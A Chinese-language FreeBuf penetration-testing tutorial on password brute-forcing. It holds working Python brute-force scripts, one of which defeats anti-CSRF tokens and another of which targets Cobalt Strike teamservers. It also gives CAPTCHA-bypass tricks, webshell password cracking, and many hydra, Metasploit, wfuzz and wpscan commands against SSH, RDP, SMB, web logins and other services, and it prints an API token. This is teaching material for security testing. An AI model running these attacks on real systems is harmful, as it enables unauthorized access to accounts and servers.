freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之穷举篇
2022-08-30 19:54:22
所属地 四川省

1. 概述

穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口
令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。
如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服
务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危
害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如
根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

2. 常见的服务

服务 端口
web 80
mysql 3306
Microsoft SQL Server 1433
https 443
ftp 21
ssh 22
dns 53
tomcat 8080
redis 6379
rsync 873
PostgreSQL 5432
cobaltstrike teamserver 50050
smtp 25
pop3 110
远程终端 rdp 3389
smb 445
rpc 135
imap 143
NetBIOS 139
SMTPS 465
POP3S 995
mogodb 27018
memcached 11211
telnet 23
oracle 1521

2.1. burpsuite 穷举后台密码

brupsuite 是一个安全测试套件,提供了众多的测试功能。在火狐安装插件FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理。image.png
截取包之后发送到 intruder 在密码设置变量
image.png
选择 payloads 选择要穷举的字典
image.png
设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这里得到正确得密码是 123456
image.png
根据状态码 一般测试正确的是现实 302(跳转) 状态码 另外就是响应网页的长

2.2. burpsuite 对 webshell 穷举破解密码

灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语
音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。
通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。

1、burpsuite 截取数据包

image.png

2、 发送intruder模块

image.png

3、选择字典

image.png
由此可得到最后的密码

2.3. 有 token 防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接穷举和防止 csrf 攻击。
image.png

2.3.1. burpsuite 设置宏获取 token 对网站后台密码破解

打开 burpsuite 刷新页面 接着 forward 放行这个数据包
image.png
来到 Project options --> Session-- >add 添加宏
image.png
image.png
选择run a macro
image.png
image.png
点击之后选择网页历史选择提交之后有 token 的页面。
添加宏
image.png
image.png
设置 configure ite
image.png
add 添加规则
image.png

选择 value 的值 Parameter name 填写 user_token
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png
这样宏就设置成功了。
接着穷举测试 抓包 设置变量 添加密码字典

image.png
image.png
image.png
开始攻击 可以看到每次的 token 值都不一样
image.png
image.png
image.png
密码是password

2.3.2. 编写脚本获取 token 对网站后台密码破

就上面的登录页面来说
image.png
每次访问页面这个 user_token 都会变化导致不能重复提交。验证原理每次页面生成 user_token 存在 seesion 里面每次登录用 session 里取出来然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。
脚本源码

#coding:utf-8
import requests
import re
url = "http://xxx/login.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_t
oken}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("\n")
print(line)
if 'File Upload' in login(line):
print( "[* 密码 is %s *]" % line )
break

密码破解成功
image.png

2.4. 针对有验证码后台的穷举方法

网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。

2.4.1. cookie 不存在不验证绕

有些网站如果网站不存在 cookie 就不会验证 验证码
image.png
删除 PHPSESSION 信息 验证码就不进行验证了
image.png
接着对密码进行穷举
image.png
破解密码成功,登录后台。

2.4.2. 后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。
不然验证码可复用
正确的验证码
image.png
错误的验证码
image.png
导入字典再进行提交
image.png

2.4.3. 网站后台验证码识别穷举密码

验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具
image.png
登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码。
image.png
将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数
image.png
接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择 再次爆破 验证准确率会提高。
image.png
image.png
最后查看响应长度 获取正确的密码

2.5. phpmyadmin 密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码
image.png

2.6. 一句话木马后门破解

一句话后门可以使用 burpsuite 通用穷举方法穷举密码。
image.png
抓包 将 cmd 设置成变量 添加字典即可
image.png
image.png
关键字
asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx
qweasd123=Response.Write("test");
密码是 qweasd123

2.7. cheetah 对一句后门密码穷举

cheetah 是针对一句话后门的穷举工具
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list
支持 asp php .net jsp 后门
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置
例子
python cheetah.py -u http://test/cmd.php -r post -n
image.png

2.8. wordpress 博客系统用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token
image.png
自动找账号信息 然后登录穷举
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w
image.png
手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users
获取信息可以再进行指定用户爆破
image.png
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top10
image.png

3. 常见的端口服务穷举

3.1. hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post}
http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap
rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet[s] vmauthd vnc xmpp
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLaIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M
指定目标列表文件一行一条
-o
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t
同时运行的线程数,默认为 16
-w
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn
icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp
等等
OPT
可选项

3.2. 使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令
使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
image.png

3.3. 使用 hydra 穷举 ftp 服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
image.png

3.4. 使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

3.5. 使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -v -f
image.png
image.png

3.6. 使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
image.png

3.7. 使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

3.8. 使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

3.9. 使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

3.10. 使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLaIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLaIN

3.11. 使用 hydra 穷举 telnet 服务

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 32 ns -f -V
image.png

4. xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。
终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
image.png
image.png
image.png

5. metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模块的用法
首先启动在终端下启动 msfconsole
use 使用 ssh_login 模块
use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
image.png
RHOSTS 攻击的目标
PASS_FILE 密码字典
STOP_ON_SUCCESS 成功破解一个终止
THREADS 线程数
set 设置参数
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt
PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13
RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
设置好后用 run 或者 exploit
image.png

6. 御剑 RDP 爆破工具的使用

image.png

7. wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u
http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
image.png

8. 邮箱密码的穷举

默认的收发邮件端口信息
发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

8.1. 企业独立搭建的邮服 用 MailCracker 进行破解

image.png

8.2. 针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举.
image.png

9. CobaltStrike TeamServer 口令暴力破解

使用 csbuster.py 对 50050 端口进行密码穷举
#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t
o-properly-require-a-minimal-python-versi
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
help="Concurrency level")
args = parser.parse_args()
#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw.python-socket
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, args.port)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1,
"big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"):
return password
else:
return False
else:
print("Ignored blank password")
passwords = []
if args.wordlist:
print("Wordlist: {}".format(args.wordlist))
passwords = open(args.wordlist).read().split("\n")
else:
print("Wordlist: {}".format("stdin"))
for line in sys.stdin:
passwords.append(line.rstrip())
if len(passwords) > 0:
print("Word Count: {}".format(len(passwords)))
print("Threads: {}".format(args.threads))
start = time.time()
# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as
executor:
future_to_check = {executor.submit(passwordcheck, password): password
for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print("Found Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
print("Attempts: {}".format(attempts))
print("Failures: {}".format(failures))
finish = time.time()
print("Seconds: {:.1f}".format(finish - start))
print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
print("Password(s) required")

python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20
image.png

10. 对 apache-tomcat 服务进行穷举

此处依旧使用万能的 metasploit
use scanner/http/tomcat_mgr_login
set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
image.png

11. 超级弱口令穷举使用

image.png

# 工具 # web安全 # 暴力破解
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录